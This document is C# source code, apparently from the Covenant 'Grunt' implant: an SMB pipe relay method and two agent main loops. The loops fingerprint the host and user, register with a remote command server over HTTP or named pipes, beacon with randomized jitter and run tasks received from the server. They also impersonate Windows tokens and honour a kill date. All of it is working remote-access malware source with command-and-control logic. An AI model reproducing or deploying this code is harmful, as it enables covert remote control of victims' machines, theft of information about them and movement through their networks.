public bool Connect(string Hostname, string PipeName) { IMessenger olddownstream = this.DownstreamMessengers.FirstOrDefault(DM => DM.Hostname.ToLower() == (Hostname + ":" + PipeName).ToLower()); if (olddownstream != null) { olddownstream.Close(); this.DownstreamMessengers.Remove(olddownstream); } SMBMessenger downstream = new SMBMessenger(Hostname, PipeName); Thread readThread = new Thread(() => { while (true) { try { string read = downstream.Read(); if (downstream.Identifier == "") { GruntEncryptedMessage message = this.Profile.ParseWriteFormat(read); if (message.GUID.Length == 20) { downstream.Identifier = message.GUID.Substring(10); } else if (message.GUID.Length == 10) { downstream.Identifier = message.GUID; } } this.UpstreamMessenger.Write(read); } catch (ThreadAbortException) { return; } catch (Exception e) { Console.Error.WriteLine("Thread Exception: " + e.Message + Environment.NewLine + e.StackTrace); } } }); downstream.ReadThread = readThread; downstream.ReadThread.Start(); this.DownstreamMessengers.Add(downstream); return(true); }
public static void Execute(string GUID, Aes SessionKey, NamedPipeServerStream ServerPipe = null, string PipeName = null) { try { int Delay = Convert.ToInt32(@"{{REPLACE_DELAY}}"); int Jitter = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}"); int ConnectAttempts = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}"); DateTime KillDate = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}")); string ProfileReadFormat = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n"); string ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n"); string Hostname = Dns.GetHostName(); string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString(); foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName())) { if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) { IPAddress = a.ToString(); break; } } string OperatingSystem = Environment.OSVersion.ToString(); string Process = System.Diagnostics.Process.GetCurrentProcess().ProcessName; int Integrity = 2; if (Environment.UserName.ToLower() == "system") { Integrity = 4; } else { var identity = WindowsIdentity.GetCurrent(); if (identity.Owner != identity.User) { Integrity = 3; } } string UserDomainName = Environment.UserDomainName; string UserName = Environment.UserName; string RegisterBody = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }"; IMessenger baseMessenger = null; baseMessenger = new SMBMessenger(ServerPipe, PipeName); baseMessenger.Identifier = GUID; TaskingMessenger messenger = new TaskingMessenger ( new MessageCrafter(GUID, SessionKey), baseMessenger, new Profile(ProfileReadFormat, ProfileWriteFormat, GUID) ); messenger.QueueTaskingMessage(RegisterBody); messenger.WriteTaskingMessage(); messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message); try { // A blank upward write, this helps in some cases with an HTTP Proxy messenger.QueueTaskingMessage(""); messenger.WriteTaskingMessage(); } catch (Exception) { } List <KeyValuePair <string, Thread> > Tasks = new List <KeyValuePair <string, Thread> >(); WindowsImpersonationContext impersonationContext = null; Random rnd = new Random(); int ConnectAttemptCount = 0; bool alive = true; while (alive) { int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00))); if (rnd.Next(2) == 0) { change = -change; } Thread.Sleep((Delay + change) * 1000); try { GruntTaskingMessage message = messenger.ReadTaskingMessage(); if (message != null) { ConnectAttemptCount = 0; string output = ""; if (message.Type == GruntTaskingType.SetDelay || message.Type == GruntTaskingType.SetJitter || message.Type == GruntTaskingType.SetConnectAttempts) { if (int.TryParse(message.Message, out int val)) { if (message.Type == GruntTaskingType.SetDelay) { Delay = val; output += "Set Delay: " + Delay; } else if (message.Type == GruntTaskingType.SetJitter) { Jitter = val; output += "Set Jitter: " + Jitter; } else if (message.Type == GruntTaskingType.SetConnectAttempts) { ConnectAttempts = val; output += "Set ConnectAttempts: " + ConnectAttempts; } } else { output += "Error parsing: " + message.Message; } messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); } else if (message.Type == GruntTaskingType.SetKillDate) { if (DateTime.TryParse(message.Message, out DateTime date)) { KillDate = date; output += "Set KillDate: " + KillDate.ToString(); } else { output += "Error parsing: " + message.Message; } messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); } else if (message.Type == GruntTaskingType.Exit) { output += "Exited"; messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); messenger.WriteTaskingMessage(); return; } else if (message.Type == GruntTaskingType.Tasks) { if (!Tasks.Where(J => J.Value.IsAlive).Any()) { output += "No active tasks!"; } else { output += "Task Status" + Environment.NewLine; output += "---- ------" + Environment.NewLine; output += String.Join(Environment.NewLine, Tasks.Where(T => T.Value.IsAlive).Select(T => T.Key + " Active").ToArray()); } messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); } else if (message.Type == GruntTaskingType.TaskKill) { var matched = Tasks.Where(T => T.Value.IsAlive && T.Key.ToLower() == message.Message.ToLower()); if (!matched.Any()) { output += "No task with name: " + message.Message; } else { KeyValuePair <string, Thread> t = matched.First(); t.Value.Abort(); output += "Task: " + t.Key + " killed!"; } messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); } else if (message.Token) { if (impersonationContext != null) { impersonationContext.Undo(); } IntPtr impersonatedToken = IntPtr.Zero; Thread t = new Thread(() => impersonatedToken = TaskExecute(messenger, message)); t.Start(); Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t)); bool completed = t.Join(5000); if (completed && impersonatedToken != IntPtr.Zero) { try { WindowsIdentity identity = new WindowsIdentity(impersonatedToken); impersonationContext = identity.Impersonate(); } catch (ArgumentException) { } } else { impersonationContext = null; } } else { Thread t = new Thread(() => TaskExecute(messenger, message)); t.Start(); Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t)); } } messenger.WriteTaskingMessage(); } catch (ObjectDisposedException e) { ConnectAttemptCount++; messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "").ToJson()); messenger.WriteTaskingMessage(); } catch (Exception e) { ConnectAttemptCount++; Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace); } if (ConnectAttemptCount >= ConnectAttempts) { return; } if (KillDate.CompareTo(DateTime.Now) < 0) { return; } } } catch (Exception e) { Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace); } }
public static void Execute(string GUID, Aes SessionKey, NamedPipeServerStream ServerPipe = null, string PipeName = null) { try { string CovenantURI = @"{{REPLACE_COVENANT_URI}}"; string CovenantCertHash = @"{{REPLACE_COVENANT_CERT_HASH}}"; int Delay = Convert.ToInt32(@"{{REPLACE_DELAY}}"); int Jitter = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}"); int ConnectAttempts = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}"); DateTime KillDate = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}")); List <string> ProfileHttpHeaderNames = new List <string>(); List <string> ProfileHttpHeaderValues = new List <string>(); // {{REPLACE_PROFILE_HTTP_HEADERS}} List <string> ProfileHttpUrls = new List <string>(); // {{REPLACE_PROFILE_HTTP_URLS}} string ProfileHttpGetResponse = @"{{REPLACE_PROFILE_HTTP_GET_RESPONSE}}".Replace(Environment.NewLine, "\n"); string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n"); string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n"); bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}"); bool UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}"); string Hostname = Dns.GetHostName(); string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString(); foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName())) { if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) { IPAddress = a.ToString(); break; } } string OperatingSystem = Environment.OSVersion.ToString(); string Process = System.Diagnostics.Process.GetCurrentProcess().ProcessName; int Integrity = 2; if (Environment.UserName.ToLower() == "system") { Integrity = 4; } else { var identity = WindowsIdentity.GetCurrent(); if (identity.Owner != identity.User) { Integrity = 3; } } string UserDomainName = Environment.UserDomainName; string UserName = Environment.UserName; string RegisterBody = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }"; IMessenger baseMessenger = null; if (ServerPipe != null) { baseMessenger = new SMBMessenger(ServerPipe, PipeName); } else { baseMessenger = new HttpMessenger(CovenantURI, CovenantCertHash, UseCertPinning, ValidateCert, ProfileHttpHeaderNames, ProfileHttpHeaderValues, ProfileHttpUrls); baseMessenger.Read(); } baseMessenger.Identifier = GUID; TaskingMessenger messenger = new TaskingMessenger ( new MessageCrafter(GUID, SessionKey), baseMessenger, new Profile(ProfileHttpGetResponse, ProfileHttpPostRequest, ProfileHttpPostResponse) ); messenger.WriteTaskingMessage(RegisterBody); messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message); try { // A blank upward write, this helps in some cases with an HTTP Proxy messenger.WriteTaskingMessage(""); } catch (Exception) {} List <KeyValuePair <string, Thread> > Jobs = new List <KeyValuePair <string, Thread> >(); WindowsImpersonationContext impersonationContext = null; Random rnd = new Random(); int ConnectAttemptCount = 0; bool alive = true; while (alive) { int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00))); if (rnd.Next(2) == 0) { change = -change; } Thread.Sleep((Delay + change) * 1000); try { GruntTaskingMessage message = messenger.ReadTaskingMessage(); if (message == null) { ConnectAttemptCount++; } else { ConnectAttemptCount = 0; string output = ""; if (message.Type == GruntTaskingType.SetDelay || message.Type == GruntTaskingType.SetJitter || message.Type == GruntTaskingType.SetConnectAttempts) { if (int.TryParse(message.Message, out int val)) { if (message.Type == GruntTaskingType.SetDelay) { Delay = val; output += "Set Delay: " + Delay; } else if (message.Type == GruntTaskingType.SetJitter) { Jitter = val; output += "Set Jitter: " + Jitter; } else if (message.Type == GruntTaskingType.SetConnectAttempts) { ConnectAttempts = val; output += "Set ConnectAttempts: " + ConnectAttempts; } } else { output += "Error parsing: " + message.Message.Split(',')[1]; } messenger.WriteTaskingMessage(output, message.Name); } else if (message.Type == GruntTaskingType.Kill) { output += "Killed"; messenger.WriteTaskingMessage(output, message.Name); return; } else if (message.Type == GruntTaskingType.Jobs) { if (!Jobs.Where(J => J.Value.IsAlive).Any()) { output += "No active tasks!"; } else { output += "Task Status" + Environment.NewLine; output += "---- ------" + Environment.NewLine; output += String.Join(Environment.NewLine, Jobs.Where(J => J.Value.IsAlive).Select(J => J.Key + " Active").ToArray()); } messenger.WriteTaskingMessage(output, message.Name); } else if (message.Token) { if (impersonationContext != null) { impersonationContext.Undo(); } IntPtr impersonatedToken = IntPtr.Zero; Thread t = new Thread(() => impersonatedToken = TaskExecute(messenger, message)); t.Start(); Jobs.Add(new KeyValuePair <string, Thread>(message.Name, t)); bool completed = t.Join(5000); if (completed && impersonatedToken != IntPtr.Zero) { try { WindowsIdentity identity = new WindowsIdentity(impersonatedToken); impersonationContext = identity.Impersonate(); } catch (ArgumentException) { } } else { impersonationContext = null; } } else { Thread t = new Thread(() => TaskExecute(messenger, message)); t.Start(); Jobs.Add(new KeyValuePair <string, Thread>(message.Name, t)); } } } catch (ObjectDisposedException e) { ConnectAttemptCount++; messenger.WriteTaskingMessage(""); } catch (Exception e) { ConnectAttemptCount++; Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace); } if (ConnectAttemptCount >= ConnectAttempts) { return; } if (KillDate.CompareTo(DateTime.Now) < 0) { return; } } } catch (Exception e) { Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace); } }